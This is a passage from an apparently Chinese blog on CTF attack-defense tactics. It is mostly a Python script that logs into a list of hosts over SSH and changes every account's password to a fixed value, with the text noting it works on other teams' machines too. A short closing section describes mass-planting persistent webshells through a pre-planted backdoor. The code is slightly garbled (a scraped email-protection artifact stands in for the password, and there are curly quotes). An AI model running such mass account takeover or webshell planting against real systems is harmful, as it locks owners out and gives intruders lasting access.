情景五:批量修改ssh密码
拿到官方靶机第一件事改自己机器的ssh密码,当然也可以改别人的密码~
import paramiko import sys ssh_clients = [] timeout = 5 new_password = "[email protected]" def get_flag(): pass class SSH_Client(): def __init__(self, host, port, username, password): self.is_root = False self.host = host self.port = port self.username = username self.password = password self.ssh = paramiko.SSHClient() self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) self.ssh.connect(self.host, self.port, self.username, self.password, timeout=timeout) def exec_command(self, command): stdin, stdout, stderr = self.ssh.exec_command(command) return stdin, stdout, stderr def change_password(self): stdin, stdout, stderr = self.exec_command("passwd") if self.username != "root": stdin.write("%s\n" % self.password) stdin.write("%s\n" % new_password) stdin.write("%s\n" % new_password) stdout.read() if "success" in stderr.read().decode(‘utf-8‘): self.password = new_password return True else: return False def save_log(self, filename): with open(filename, "a+") as f: f.write("%s %s %s %s\n" % (self.host, self.port, self.username, self.password)) if __name__ == "__main__": if len(sys.argv) != 2: print("Usage:") print("\t python %s [FILENAME]" % (sys.argv[0])) exit(1) filename = sys.argv[1] print(" [+] Loading file : %s" % filename) with open(filename) as f: for line in f: line = line.rstrip("\n") data = line.split(" ") host = data[0] port = int(data[1]) username = data[2] password = data[3] print(" [+] Trying login : %s" % host) try: ssh_client = SSH_Client(host, port, username, password) except Exception as e: print(" [-] %s" % e) continue ssh_clients.append(ssh_client) print(" [+] Login finished. ") print(" [+} Got [%d] clients. " % len(ssh_clients)) if len(ssh_clients) == 0: exit() print(" [+] Starting changing password. ") for ssh_client in ssh_clients: if ssh_client.change_password(): print(" [+] %s (Success!)" % ssh_client.host) ssh_client.save_log("success.log") else: print(" [+] %s (Failed!)" % ssh_client.host) print(" [+] something like interesting!!! ")
情景六:批量种马
审计源码第一件事可能就找到官方的预留后门,开始第一波种马 ,这里用脚本直接用官方的马种不死马
原文地址:https://www.cnblogs.com/-qing-/p/11192479.html
时间: 2024-10-30 08:27:48